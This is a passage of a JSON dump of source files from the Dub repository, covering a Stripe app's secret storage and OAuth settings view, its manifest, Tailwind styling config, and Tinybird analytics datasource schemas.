    "content": "import Stripe from \"stripe\";\n\ntype SecretName = \"dub_token\" | \"dub_workspace\";\n\n// Secrets are stored on account level\nconst scope: Stripe.Apps.SecretCreateParams.Scope = {\n  type: \"account\",\n};\n\n// Set a secret for the account\nexport async function setSecret({\n  stripe,\n  name,\n  payload,\n}: {\n  stripe: Stripe;\n  name: SecretName;\n  payload: string;\n}) {\n  return await stripe.apps.secrets.create({\n    name,\n    payload,\n    scope,\n  });\n}\n\n// Get a secret for the account\nexport async function getSecret<T>({\n  stripe,\n  name,\n}: {\n  stripe: Stripe;\n  name: SecretName;\n}) {\n  try {\n    const secret = await stripe.apps.secrets.find({\n      name,\n      scope,\n      expand: [\"payload\"],\n    });\n\n    if (!secret.payload) {\n      return null;\n    }\n\n    return JSON.parse(secret.payload) as T;\n  } catch (e) {\n    return null;\n  }\n}\n\n// Delete a secret for the account\nexport async function deleteSecret({\n  stripe,\n  name,\n}: {\n  stripe: Stripe;\n  name: SecretName;\n}) {\n  return await stripe.apps.secrets.deleteWhere({\n    name,\n    scope,\n  });\n}\n"
  },
  {
    "path": "packages/stripe-app/src/utils/stripe.ts",
    "content": "import {\n  createHttpClient,\n  STRIPE_API_KEY,\n} from \"@stripe/ui-extension-sdk/http_client\";\nimport Stripe from \"stripe\";\n\n// You don't need an API Key here, because the app uses the\n// dashboard credentials to make requests.\nexport const stripe: Stripe = new Stripe(STRIPE_API_KEY, {\n  httpClient: createHttpClient() as Stripe.HttpClient,\n  apiVersion: \"2023-08-16\",\n});\n"
  },
  {
    "path": "packages/stripe-app/src/utils/types.ts",
    "content": "export interface Token {\n  access_token: string;\n  refresh_token: string;\n  token_type: string;\n  expires_in: number;\n  scope: string;\n}\n\nexport interface Workspace {\n  id: string;\n  name: string;\n  logo: string;\n}\n\nexport type StripeMode = \"test\" | \"live\";\n"
  },
  {
    "path": "packages/stripe-app/src/views/AppSettings.tsx",
    "content": "import type { ExtensionContextValue } from \"@stripe/ui-extension-sdk/context\";\nimport { createOAuthState } from \"@stripe/ui-extension-sdk/oauth\";\nimport {\n  Banner,\n  Box,\n  Button,\n  Link,\n  SignInView,\n  Spinner,\n} from \"@stripe/ui-extension-sdk/ui\";\nimport { useEffect, useRef, useState } from \"react\";\nimport { useWorkspace } from \"../hooks/use-workspace\";\nimport appIcon from \"../icon.svg\";\nimport { updateWorkspace } from \"../utils/dub\";\nimport {\n  getOAuthUrl,\n  getToken,\n  getUserInfo,\n  getValidToken,\n} from \"../utils/oauth\";\nimport { deleteSecret, setSecret } from \"../utils/secrets\";\nimport { stripe } from \"../utils/stripe\";\n\nconst AppSettings = ({ userContext, oauthContext }: ExtensionContextValue) => {\n  const credentialsUsed = useRef(false);\n  const [oauthState, setOAuthState] = useState(\"\");\n  const [challenge, setChallenge] = useState(\"\");\n  const [disconnecting, setDisconnecting] = useState(false);\n  const [connecting, setConnecting] = useState(false);\n  const { workspace, isLoading, mutate } = useWorkspace(stripe);\n\n  const code = oauthContext?.code;\n  const verifier = oauthContext?.verifier;\n\n  // Disconnect workspace\n  const disconnectWorkspace = async () => {\n    setDisconnecting(true);\n\n    const token = await getValidToken({ stripe });\n\n    await Promise.all([\n      deleteSecret({\n        stripe,\n        name: \"dub_workspace\",\n      }),\n\n      deleteSecret({\n        stripe,\n        name: \"dub_token\",\n      }),\n    ]);\n\n    if (token) {\n      await updateWorkspace({\n        token,\n        accountId: null,\n      });\n    }\n\n    await mutate();\n    setDisconnecting(false);\n  };\n\n  // Exchange code for token\n  // Fetch the workspace info for the current user\n  // Connect the workspace to the stripe account\n  // Store the token and workspace info in the secrets\n  const connectWorkspace = async () => {\n    setConnecting(true);\n\n    if (!code || !verifier) {\n      return;\n    }\n\n    const token = await getToken({ code, verifier });\n\n    if (!token) {\n      return;\n    }\n\n    await setSecret({\n      stripe,\n      name: \"dub_token\",\n      payload: JSON.stringify(token),\n    });\n\n    const workspace = await getUserInfo({ token });\n\n    if (!workspace) {\n      return;\n    }\n\n    await updateWorkspace({\n      token,\n      accountId: userContext.account.id,\n    });\n\n    await setSecret({\n      stripe,\n      name: \"dub_workspace\",\n      payload: JSON.stringify(workspace),\n    });\n\n    await mutate();\n    credentialsUsed.current = true;\n    setConnecting(false);\n  };\n\n  useEffect(() => {\n    // if there is a workspace, we're done here\n    if (workspace) {\n      return;\n    }\n\n    // there is an ongoing oauth flow\n    if (code && verifier && !workspace && !credentialsUsed.current) {\n      connectWorkspace();\n      return;\n    }\n\n    // no oauth flow, no token, we need to start one\n    if (!oauthState && !workspace) {\n      createOAuthState().then(({ state, challenge }) => {\n        setOAuthState(state);\n        setChallenge(challenge);\n      });\n    }\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, [workspace, oauthState, code, verifier]);\n\n  if (isLoading || connecting) {\n    return <Spinner size=\"large\" />;\n  }\n\n  return (\n    <Box css={{ width: \"6/12\", stack: \"y\", gap: \"large\" }}>\n      {workspace ? (\n        <Banner\n          title=\"Dub workspace\"\n          description={`Connected to ${workspace.name}`}\n          actions={\n            <Button\n              type=\"destructive\"\n              size=\"small\"\n              disabled={disconnecting}\n              onPress={async () => {\n                setDisconnecting(true);\n                await disconnectWorkspace();\n                await mutate();\n                setDisconnecting(false);\n              }}\n            >\n              {disconnecting ? \"Disconnecting...\" : \"Disconnect\"}\n            </Button>\n          }\n        />\n      ) : (\n        <SignInView\n          description=\"Connect your Dub workspace with Stripe to start tracking the conversions.\"\n          primaryAction={{\n            label: connecting\n              ? \"Connecting please wait...\"\n              : \"Connect workspace\",\n            href: connecting\n              ? \"#\"\n              : getOAuthUrl({ state: oauthState, challenge }),\n          }}\n          footerContent={\n            <>\n              Don&apos;t have an Dub account?{\" \"}\n              <Link href=\"https://app.dub.co/register\" target=\"_blank\" external>\n                Sign up\n              </Link>\n            </>\n          }\n          brandColor=\"#000000\"\n          brandIcon={appIcon}\n        />\n      )}\n    </Box>\n  );\n};\n\nexport default AppSettings;\n"
  },
  {
    "path": "packages/stripe-app/stripe-app.dev.json",
    "content": "{\n  \"extends\": \"stripe-app.json\"\n}\n"
  },
  {
    "path": "packages/stripe-app/stripe-app.json",
    "content": "{\n  \"id\": \"dub.co\",\n  \"version\": \"0.0.18\",\n  \"name\": \"Dub Partners\",\n  \"icon\": \"./stripe-icon.png\",\n  \"permissions\": [\n    {\n      \"permission\": \"customer_read\",\n      \"purpose\": \"Allows Dub to read customer information.\"\n    },\n    {\n      \"permission\": \"subscription_read\",\n      \"purpose\": \"Allows Dub to read subscription information.\"\n    },\n    {\n      \"permission\": \"invoice_read\",\n      \"purpose\": \"Allows Dub to read invoice information.\"\n    },\n    {\n      \"permission\": \"checkout_session_read\",\n      \"purpose\": \"Allows Dub to read checkout session information.\"\n    },\n    {\n      \"permission\": \"user_email_read\",\n      \"purpose\": \"Access current user's email address to identify within Dub.\"\n    },\n    {\n      \"permission\": \"connected_account_read\",\n      \"purpose\": \"Allows reading basic data from connected accounts, such as account name and id.\"\n    },\n    {\n      \"permission\": \"webhook_read\",\n      \"purpose\": \"Allows Dub to read webhook information.\"\n    },\n    {\n      \"permission\": \"event_read\",\n      \"purpose\": \"Allows Dub to read event information.\"\n    },\n    {\n      \"permission\": \"secret_write\",\n      \"purpose\": \"Allows storing Dub access tokens in Stripe for an account.\"\n    },\n    {\n      \"permission\": \"coupon_write\",\n      \"purpose\": \"Allows Dub to create coupons for an account.\"\n    },\n    {\n      \"permission\": \"coupon_read\",\n      \"purpose\": \"Allows Dub to read coupons for an account.\"\n    },\n    {\n      \"permission\": \"promotion_code_write\",\n      \"purpose\": \"Allows Dub to create promotion codes for an account.\"\n    },\n    {\n      \"permission\": \"promotion_code_read\",\n      \"purpose\": \"Allows Dub to read promotion codes for an account.\"\n    }\n  ],\n  \"connect_permissions\": null,\n  \"ui_extension\": {\n    \"views\": [\n      {\n        \"viewport\": \"settings\",\n        \"component\": \"AppSettings\"\n      }\n    ],\n    \"content_security_policy\": {\n      \"connect-src\": [\n        \"https://api.dub.co/oauth/\",\n        \"https://api-staging.dub.co/oauth/\",\n        \"https://api.dub.co/stripe/integration\",\n        \"https://api-staging.dub.co/stripe/integration\"\n      ],\n      \"image-src\": null,\n      \"purpose\": \"\"\n    }\n  },\n  \"post_install_action\": {\n    \"type\": \"settings\"\n  },\n  \"allowed_redirect_uris\": [\n    \"https://app.dub.co/api/stripe/integration/callback\",\n    \"https://preview.dub.co/api/stripe/integration/callback\"\n  ],\n  \"stripe_api_access_type\": \"oauth\",\n  \"distribution_type\": \"public\",\n  \"sandbox_install_compatible\": true\n}"
  },
  {
    "path": "packages/stripe-app/tsconfig.json",
    "content": "{\n  \"extends\": \"@stripe/ui-extension-tools/tsconfig.ui-extension\",\n  \"compilerOptions\": {\n    \"jsx\": \"react-jsx\"\n  }\n}\n"
  },
  {
    "path": "packages/stripe-app/ui-extensions.d.ts",
    "content": "/// <reference types=\"@stripe/ui-extension-tools\" />\n"
  },
  {
    "path": "packages/tailwind-config/package.json",
    "content": "{\n  \"name\": \"@dub/tailwind-config\",\n  \"description\": \"Tailwindcss config for Dub\",\n  \"version\": \"0.0.10\",\n  \"main\": \"index.ts\",\n  \"types\": \"index.ts\",\n  \"devDependencies\": {\n    \"tailwindcss\": \"^3.4.4\"\n  },\n  \"dependencies\": {\n    \"@tailwindcss/container-queries\": \"^0.1.1\",\n    \"@tailwindcss/forms\": \"^0.5.6\",\n    \"@tailwindcss/typography\": \"^0.5.9\",\n    \"tailwind-scrollbar-hide\": \"^1.1.7\",\n    \"tailwindcss-radix\": \"^2.8.0\"\n  },\n  \"author\": \"Steven Tey <stevensteel97@gmail.com>\",\n  \"homepage\": \"https://dub.co\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/dubinc/dub.git\"\n  },\n  \"bugs\": {\n    \"url\": \"https://github.com/dubinc/dub/issues\"\n  },\n  \"keywords\": [\n    \"dub\",\n    \"dub.co\",\n    \"tailwind\",\n    \"tailwindcss\"\n  ],\n  \"publishConfig\": {\n    \"access\": \"public\"\n  }\n}\n"
  },
  {
    "path": "packages/tailwind-config/tailwind.config.ts",
    "content": "import containerQueries from \"@tailwindcss/container-queries\";\nimport forms from \"@tailwindcss/forms\";\nimport typography from \"@tailwindcss/typography\";\nimport scrollbarHide from \"tailwind-scrollbar-hide\";\nimport type { Config } from \"tailwindcss\";\nimport radix from \"tailwindcss-radix\";\n\nconst config: Config = {\n  content: [\"./src/**/*.{js,ts,jsx,tsx,mdx}\"],\n  darkMode: \"class\",\n  future: {\n    hoverOnlyWhenSupported: true,\n  },\n  theme: {\n    extend: {\n      screens: {\n        xs: \"420px\",\n      },\n      typography: {\n        DEFAULT: {\n          css: {\n            \"blockquote p:first-of-type::before\": { content: \"none\" },\n            \"blockquote p:first-of-type::after\": { content: \"none\" },\n            \"code::before\": { content: '\"\"' },\n            \"code::after\": { content: '\"\"' },\n          },\n        },\n      },\n      fontFamily: {\n        display: [\"var(--font-satoshi)\", \"system-ui\", \"sans-serif\"],\n        default: [\"var(--font-inter)\", \"system-ui\", \"sans-serif\"],\n        mono: [\n          \"var(--font-geist-mono, ui-monospace)\",\n          \"ui-monospace\",\n          \"monospace\",\n        ],\n      },\n      fontSize: {\n        \"2xs\": [\n          \"0.625rem\",\n          {\n            lineHeight: \"0.875rem\",\n          },\n        ],\n      },\n      animation: {\n        // Modal\n        \"scale-in\": \"scale-in 0.2s cubic-bezier(0.16, 1, 0.3, 1)\",\n        \"fade-in\": \"fade-in 0.2s ease-out forwards\",\n        \"fade-in-blur\": \"fade-in-blur 0.5s ease-out forwards\",\n        \"scale-in-fade\": \"scale-in-fade 0.2s ease-out forwards\",\n        // Popover, Tooltip\n        \"slide-up-fade\": \"slide-up-fade 0.4s cubic-bezier(0.16, 1, 0.3, 1)\",\n        \"slide-right-fade\":\n          \"slide-right-fade 0.4s cubic-bezier(0.16, 1, 0.3, 1)\",\n        \"slide-down-fade\": \"slide-down-fade 0.4s cubic-bezier(0.16, 1, 0.3, 1)\",\n        \"slide-left-fade\": \"slide-left-fade 0.4s cubic-bezier(0.16, 1, 0.3, 1)\",\n        // Sheet\n        \"slide-in-from-right\": \"slide-in-from-right 0.2s ease\",\n        \"slide-out-to-right\": \"slide-out-to-right 0.2s ease\",\n        // Navigation menu\n        \"enter-from-right\": \"enter-from-right 0.15s ease\",\n        \"enter-from-left\": \"enter-from-left 0.15s ease\",\n        \"exit-to-right\": \"exit-to-right 0.15s ease\",\n        \"exit-to-left\": \"exit-to-left 0.15s ease\",\n        \"scale-in-content\": \"scale-in-content 0.2s ease\",\n        \"scale-out-content\": \"scale-out-content 0.2s ease\",\n        // Accordion\n        \"accordion-down\": \"accordion-down 300ms cubic-bezier(0.87, 0, 0.13, 1)\",\n        \"accordion-up\": \"accordion-up 300ms cubic-bezier(0.87, 0, 0.13, 1)\",\n        // Custom wiggle animation\n        wiggle: \"wiggle 0.75s infinite\",\n        // Custom spinner animation (for loading-spinner)\n        spinner: \"spinner 1.2s linear infinite\",\n        // Custom blink animation (for loading-dots)\n        blink: \"blink 1.4s infinite both\",\n        // Custom pulse animation\n        pulse: \"pulse 1s linear infinite alternate\",\n      },\n      keyframes: {\n        // Modal\n        \"scale-in\": {\n          \"0%\": { transform: \"scale(var(--from-scale,0.95))\" },\n          \"100%\": { transform: \"scale(var(--to-scale,1))\" },\n        },\n        \"fade-in\": {\n          \"0%\": { opacity: \"0\" },\n          \"100%\": { opacity: \"1\" },\n        },\n        \"fade-in-blur\": {\n          \"0%\": { opacity: \"0\", filter: \"blur(4px)\" },\n          \"50%\": { opacity: \"0.5\", filter: \"blur(0px)\" },\n          \"100%\": { opacity: \"1\", filter: \"blur(0px)\" },\n        },\n        \"scale-in-fade\": {\n          \"0%\": { transform: \"scale(0.95)\", opacity: \"0\" },\n          \"100%\": { transform: \"scale(1)\", opacity: \"1\" },\n        },\n        // Popover, Tooltip\n        \"slide-up-fade\": {\n          \"0%\": { opacity: \"0\", transform: \"translateY(var(--offset, 2px))\" },\n          \"100%\": { opacity: \"1\", transform: \"translateY(0)\" },\n        },\n        \"slide-right-fade\": {\n          \"0%\": { opacity: \"0\", transform: \"translateX(var(--offset, -2px))\" },\n          \"100%\": { opacity: \"1\", transform: \"translateX(0)\" },\n        },\n        \"slide-down-fade\": {\n          \"0%\": { opacity: \"0\", transform: \"translateY(var(--offset, -2px))\" },\n          \"100%\": { opacity: \"1\", transform: \"translateY(0)\" },\n        },\n        \"slide-left-fade\": {\n          \"0%\": { opacity: \"0\", transform: \"translateX(var(--offset, 2px))\" },\n          \"100%\": { opacity: \"1\", transform: \"translateX(0)\" },\n        },\n        // Sheet\n        \"slide-in-from-right\": {\n          \"0%\": { transform: \"translateX(100%)\" },\n          \"100%\": { transform: \"translateX(0)\" },\n        },\n        \"slide-out-to-right\": {\n          \"0%\": { transform: \"translateX(0)\" },\n          \"100%\": { transform: \"translateX(100%)\" },\n        },\n        // Navigation menu\n        \"enter-from-right\": {\n          \"0%\": { transform: \"translateX(200px)\", opacity: \"0\" },\n          \"100%\": { transform: \"translateX(0)\", opacity: \"1\" },\n        },\n        \"enter-from-left\": {\n          \"0%\": { transform: \"translateX(-200px)\", opacity: \"0\" },\n          \"100%\": { transform: \"translateX(0)\", opacity: \"1\" },\n        },\n        \"exit-to-right\": {\n          \"0%\": { transform: \"translateX(0)\", opacity: \"1\" },\n          \"100%\": { transform: \"translateX(200px)\", opacity: \"0\" },\n        },\n        \"exit-to-left\": {\n          \"0%\": { transform: \"translateX(0)\", opacity: \"1\" },\n          \"100%\": { transform: \"translateX(-200px)\", opacity: \"0\" },\n        },\n        \"scale-in-content\": {\n          \"0%\": { transform: \"rotateX(-30deg) scale(0.9)\", opacity: \"0\" },\n          \"100%\": { transform: \"rotateX(0deg) scale(1)\", opacity: \"1\" },\n        },\n        \"scale-out-content\": {\n          \"0%\": { transform: \"rotateX(0deg) scale(1)\", opacity: \"1\" },\n          \"100%\": { transform: \"rotateX(-10deg) scale(0.95)\", opacity: \"0\" },\n        },\n        // Accordion\n        \"accordion-down\": {\n          from: { height: \"0\" },\n          to: { height: \"var(--radix-accordion-content-height)\" },\n        },\n        \"accordion-up\": {\n          from: { height: \"var(--radix-accordion-content-height)\" },\n          to: { height: \"0\" },\n        },\n        // Custom wiggle animation\n        wiggle: {\n          \"0%, 100%\": {\n            transform: \"translateX(0%)\",\n            transformOrigin: \"50% 50%\",\n          },\n          \"15%\": { transform: \"translateX(-4px) rotate(-4deg)\" },\n          \"30%\": { transform: \"translateX(6px) rotate(4deg)\" },\n          \"45%\": { transform: \"translateX(-6px) rotate(-2.4deg)\" },\n          \"60%\": { transform: \"translateX(2px) rotate(1.6deg)\" },\n          \"75%\": { transform: \"translateX(-1px) rotate(-0.8deg)\" },\n        },\n        // Custom spinner animation (for loading-spinner)\n        spinner: {\n          \"0%\": {\n            opacity: \"1\",\n          },\n          \"100%\": {\n            opacity: \"0\",\n          },\n        },\n        // Custom blink animation (for loading-dots)\n        blink: {\n          \"0%\": {\n            opacity: \"0.2\",\n          },\n          \"20%\": {\n            opacity: \"1\",\n          },\n          \"100%\": {\n            opacity: \"0.2\",\n          },\n        },\n        // Custom pulse animation\n        pulse: {\n          from: {\n            opacity: \"0\",\n          },\n          to: {\n            opacity: \"1\",\n          },\n        },\n      },\n      colors: {\n        brown: {\n          50: \"#fdf8f6\",\n          100: \"#f2e8e5\",\n          200: \"#eaddd7\",\n          300: \"#e0cec7\",\n          400: \"#d2bab0\",\n          500: \"#bfa094\",\n          600: \"#a18072\",\n          700: \"#977669\",\n          800: \"#846358\",\n          900: \"#43302b\",\n        },\n\n        // Light/dark mode colors\n\n        \"bg-emphasis\": \"rgb(var(--bg-emphasis, 229 229 229) / <alpha-value>)\",\n        \"bg-default\": \"rgb(var(--bg-default, 255 255 255) / <alpha-value>)\",\n        \"bg-subtle\": \"rgb(var(--bg-subtle, 245 245 245) / <alpha-value>)\",\n        \"bg-muted\": \"rgb(var(--bg-muted, 250 250 250) / <alpha-value>)\",\n        \"bg-inverted\": \"rgb(var(--bg-inverted, 23 23 23) / <alpha-value>)\",\n\n        \"bg-info\": \"rgb(var(--bg-info, 191 219 254) / <alpha-value>)\",\n        \"bg-success\": \"rgb(var(--bg-success, 220 252 231) / <alpha-value>)\",\n        \"bg-attention\": \"rgb(var(--bg-attention, 255 237 213) / <alpha-value>)\",\n        \"bg-error\": \"rgb(var(--bg-error, 254 226 226) / <alpha-value>)\",\n\n        \"border-emphasis\":\n          \"rgb(var(--border-emphasis, 163 163 163) / <alpha-value>)\",\n        \"border-default\":\n          \"rgb(var(--border-default, 212 212 212) / <alpha-value>)\",\n        \"border-subtle\":\n          \"rgb(var(--border-subtle, 229 229 229) / <alpha-value>)\",\n        \"border-muted\": \"rgb(var(--border-muted, 245 245 245) / <alpha-value>)\",\n\n        \"content-inverted\":\n          \"rgb(var(--content-inverted, 255 255 255) / <alpha-value>)\",\n        \"content-muted\":\n          \"rgb(var(--content-muted, 163 163 163) / <alpha-value>)\",\n        \"content-subtle\":\n          \"rgb(var(--content-subtle, 115 115 115) / <alpha-value>)\",\n        \"content-default\":\n          \"rgb(var(--content-default, 64 64 64) / <alpha-value>)\",\n        \"content-emphasis\":\n          \"rgb(var(--content-emphasis, 23 23 23) / <alpha-value>)\",\n\n        \"content-info\": \"rgb(var(--content-info, 29 78 216) / <alpha-value>)\",\n        \"content-success\":\n          \"rgb(var(--content-success, 21 128 61) / <alpha-value>)\",\n        \"content-attention\":\n          \"rgb(var(--content-attention, 194 65 12) / <alpha-value>)\",\n        \"content-error\": \"rgb(var(--content-error, 185 28 28) / <alpha-value>)\",\n      },\n      dropShadow: {\n        \"card-hover\": [\"0 8px 12px #222A350d\", \"0 32px 80px #2f30370f\"],\n      },\n    },\n  },\n  plugins: [\n    forms,\n    typography,\n    scrollbarHide,\n    radix,\n    // TODO: Remove the container queries plugin when we upgrade to Tailwind v4\n    containerQueries,\n  ],\n};\n\nexport default config;\n"
  },
  {
    "path": "packages/tailwind-config/themes.css",
    "content": ":root,\n.light {\n  --bg-default: 255 255 255;\n  --bg-muted: 250 250 250;\n  --bg-subtle: 245 245 245;\n  --bg-emphasis: 229 229 229;\n  --bg-inverted: 23 23 23;\n\n  --bg-info: 191 219 254;\n  --bg-success: 220 252 231;\n  --bg-attention: 255 237 213;\n  --bg-error: 254 226 226;\n\n  --border-emphasis: 163 163 163;\n  --border-default: 212 212 212;\n  --border-muted: 245 245 245;\n  --border-subtle: 229 229 229;\n\n  --content-inverted: 255 255 255;\n  --content-muted: 163 163 163;\n  --content-subtle: 115 115 115;\n  --content-default: 64 64 64;\n  --content-emphasis: 23 23 23;\n\n  --content-info: 29 78 216;\n  --content-success: 21 128 61;\n  --content-attention: 194 65 12;\n  --content-error: 185 28 28;\n}\n\n.dark {\n  --bg-default: 0 0 0;\n  --bg-muted: 23 23 23;\n  --bg-subtle: 38 38 38;\n  --bg-emphasis: 64 64 64;\n  --bg-inverted: 250 250 250;\n\n  --bg-info: 29 78 216;\n  --bg-success: 21 128 61;\n  --bg-attention: 194 65 12;\n  --bg-error: 185 28 28;\n\n  --border-muted: 38 38 38;\n  --border-subtle: 64 64 64;\n  --border-default: 82 82 82;\n  --border-emphasis: 115 115 115;\n\n  --content-inverted: 0 0 0;\n  --content-muted: 82 82 82;\n  --content-subtle: 163 163 163;\n  --content-default: 212 212 212;\n  --content-emphasis: 250 250 250;\n\n  --content-info: 191 219 254;\n  --content-success: 220 252 231;\n  --content-attention: 255 237 213;\n  --content-error: 254 226 226;\n}\n"
  },
  {
    "path": "packages/tinybird/README.md",
    "content": "# Dub Tinybird Setup\n\n```bash\n├── datasources\n│   └── dub_click_events.datasource\n│   └── dub_click_events_mv.datasource\n│   └── dub_links_metadata.datasource\n│   └── dub_links_metadata_latest.datasource\n├── endpoints\n│   ├── browser.pipe\n│   ├── city.pipe\n│   ├── clicks.pipe\n│   ├── country.pipe\n│   ├── device.pipe\n│   ├── os.pipe\n│   └── referer.pipe\n│   └── timeseries.pipe\n│   └── top_links.pipe\n│   └── top_urls.pipe\n├── pipes\n│   ├── dub_click_events_pipe.pipe\n│   ├── dub_links_metadata_pipe.pipe\n```\n"
  },
  {
    "path": "packages/tinybird/datasources/dub_audit_logs.datasource",
    "content": "TOKEN \"dub_tinybird_token\" APPEND\n\n\nSCHEMA >\n    `id` String `json:$.id`,\n    `timestamp` DateTime64(3) `json:$.timestamp`,\n    `workspace_id` String `json:$.workspace_id`,\n    `program_id` String `json:$.program_id`,\n    `action` LowCardinality(String) `json:$.action`,\n    `actor_id` String `json:$.actor_id`,\n    `actor_type` LowCardinality(String) `json:$.actor_type`,\n    `actor_name` String `json:$.actor_name`,\n    `targets` String `json:$.targets`,\n    `description` String `json:$.description`,\n    `ip_address` String `json:$.ip_address`,\n    `user_agent` String `json:$.user_agent`,\n    `metadata` String `json:$.metadata`\n\nENGINE \"MergeTree\"\nENGINE_PARTITION_KEY \"toYYYYMM(timestamp)\"\nENGINE_SORTING_KEY \"workspace_id, program_id, timestamp\"\nENGINE_TTL \"toDateTime(timestamp) + toIntervalYear(1)\"\n"
  },
  {
    "path": "packages/tinybird/datasources/dub_click_events.datasource",
    "content": "TOKEN \"dub_tinybird_token\" APPEND\n\n\nSCHEMA >\n    `timestamp` DateTime64(3) `json:$.timestamp`,\n    `click_id` String `json:$.click_id`,\n    `link_id` String `json:$.link_id`,\n    `alias_link_id` Nullable(String) `json:$.alias_link_id`,\n    `url` String `json:$.url`,\n    `country` LowCardinality(String) `json:$.country`,\n    `city` String `json:$.city`,\n    `region` String `json:$.region`,\n    `latitude` String `json:$.latitude`,\n    `longitude` String `json:$.longitude`,\n    `device` LowCardinality(String) `json:$.device`,\n    `device_model` LowCardinality(String) `json:$.device_model`,\n    `device_vendor` LowCardinality(String) `json:$.device_vendor`,\n    `browser` LowCardinality(String) `json:$.browser`,\n    `browser_version` String `json:$.browser_version`,\n    `os` LowCardinality(String) `json:$.os`,\n    `os_version` String `json:$.os_version`,\n    `engine` LowCardinality(String) `json:$.engine`,\n    `engine_version` String `json:$.engine_version`,\n    `cpu_architecture` LowCardinality(String) `json:$.cpu_architecture`,\n    `ua` String `json:$.ua`,\n    `bot` UInt8 `json:$.bot`,\n    `referer` String `json:$.referer`,\n    `referer_url` String `json:$.referer_url`,\n    `user_id` Nullable(Int64) `json:$.user_id`,\n    `identity_hash` Nullable(String) `json:$.identity_hash`,\n    `ip` String `json:$.ip`,\n    `qr` UInt8 `json:$.qr`,\n    `continent` LowCardinality(String) `json:$.continent`,\n    `vercel_region` Nullable(String) `json:$.vercel_region`,\n    `trigger` String `json:$.trigger`,\n    `workspace_id` Nullable(String) `json:$.workspace_id`,\n    `domain` Nullable(String) `json:$.domain`,\n    `key` Nullable(String) `json:$.key`\n\nENGINE \"MergeTree\"\nENGINE_PARTITION_KEY \"toYYYYMM(timestamp)\"\nENGINE_SORTING_KEY \"timestamp, link_id, click_id\"\n"
  },
  {
    "path": "packages/tinybird/datasources/dub_click_events_id.datasource",
    "content": "# Data Source created from Pipe 'dub_click_events_id_pipe'\n\nSCHEMA >\n    `timestamp` DateTime64(3),\n    `click_id` String,\n    `workspace_id` LowCardinality(String),\n    `link_id` String,\n    `domain` String,\n    `key` String,\n    `url` String,\n    `continent` LowCardinality(String),\n    `country` LowCardinality(String),\n    `city` LowCardinality(String),\n    `region` LowCardinality(String),\n    `latitude` String,\n    `longitude` String,\n    `device` LowCardinality(String),\n    `browser` LowCardinality(String),\n    `os` LowCardinality(String),\n    `trigger` String,\n    `ua` String,\n    `referer` String,\n    `referer_url` String,\n    `ip` String,\n    `identity_hash` String,\n    `device_model` LowCardinality(String),\n    `device_vendor` LowCardinality(String),\n    `browser_version` String,\n    `os_version` String,\n    `engine` LowCardinality(String),\n    `engine_version` String,\n    `cpu_architecture` LowCardinality(String),\n    `qr` UInt8,\n    `bot` UInt8\n\nENGINE \"MergeTree\"\nENGINE_PARTITION_KEY \"tuple()\"\nENGINE_SORTING_KEY \"click_id\"\nENGINE_SETTINGS \"index_granularity = 256\"\n"
  },
  {
    "path": "packages/tinybird/datasources/dub_click_events_mv.datasource",
    "content": "# Data Source created from Pipe 'dub_click_events_pipe'\n\nSCHEMA >\n    `timestamp` DateTime64(3),\n    `click_id` String,\n    `workspace_id` LowCardinality(String),\n    `link_id` String,\n    `domain` String,\n    `key` String,\n    `url` String,\n    `continent` LowCardinality(String),\n    `country` LowCardinality(String),\n    `city` LowCardinality(String),\n    `region` LowCardinality(String),\n    `latitude` String,\n    `longitude` String,\n    `device` LowCardinality(String),\n    `browser` LowCardinality(String),\n    `os` LowCardinality(String),\n    `trigger` String,\n    `ua` String,\n    `referer` String,\n    `referer_url` String,\n    `ip` String,\n    `identity_hash` String,\n    `device_model` LowCardinality(String),\n    `device_vendor` LowCardinality(String),\n    `browser_version` String,\n    `os_version` String,\n    `engine` LowCardinality(String),\n    `engine_version` String,\n    `cpu_architecture` LowCardinality(String),\n    `qr` UInt8,\n    `bot` UInt8\n\nENGINE \"MergeTree\"\nENGINE_PARTITION_KEY \"toYYYYMM(timestamp)\"\nENGINE_SORTING_KEY \"workspace_id, link_id, timestamp\"\n"
  },
  {
    "path": "packages/tinybird/datasources/dub_conversion_events_log.datasource",
    "content": "TOKEN \"dub_tinybird_token\" APPEND\n\n\nSCHEMA >\n    `timestamp` DateTime64(3) `json:$.timestamp` DEFAULT now(),\n    `workspace_id` String `json:$.workspace_id`,\n    `link_id` String `json:$.link_id`,\n    `path` String `json:$.path`,\n    `body` String `json:$.body`,\n    `error` String `json:$.error`\n\nENGINE \"MergeTree\"\nENGINE_PARTITION_KEY \"toYYYYMM(timestamp)\"\nENGINE_SORTING_KEY \"timestamp, workspace_id\"\nENGINE_TTL \"toDateTime(timestamp) + toIntervalDay(90)\"\n"
  },
  {
    "path": "packages/tinybird/datasources/dub_first_sale_mv.datasource",
    "content": "# Data Source created from Pipe 'dub_first_sale_pipe'\n\nSCHEMA >\n    `workspace_id` LowCardinality(String),\n    `link_id` String,\n    `customer_id` String,\n    `first_sale_state` AggregateFunction(min, DateTime64(3))\n\nENGINE \"AggregatingMergeTree\"\nENGINE_SORTING_KEY \"workspace_id, link_id, customer_id\"\n"
  },
  {
    "path": "packages/tinybird/datasources/dub_import_error_logs.datasource",
    "content": "TOKEN \"dub_tinybird_token\" APPEND\n\n\nSCHEMA >\n    `timestamp` DateTime64(3) `json:$.timestamp` DEFAULT now(),\n    `workspace_id` String `json:$.workspace_id`,\n    `import_id` String `json:$.import_id`,\n    `source` String `json:$.source`,\n    `entity` String `json:$.entity`,\n    `entity_id` String `json:$.entity_id`,\n    `code` String `json:$.code`,\n    `message` String `json:$.message`\n\nENGINE \"MergeTree\"\nENGINE_PARTITION_KEY \"toYYYYMM(timestamp)\"\nENGINE_SORTING_KEY \"timestamp, workspace_id, import_id\"\nENGINE_TTL \"toDateTime(timestamp) + toIntervalDay(180)\"\n"
  },
  {
    "path": "packages/tinybird/datasources/dub_lead_events.datasource",
